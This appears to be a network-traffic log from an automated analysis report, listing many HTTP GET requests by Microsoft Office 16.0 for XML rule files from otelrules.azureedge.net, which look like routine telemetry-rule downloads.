Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
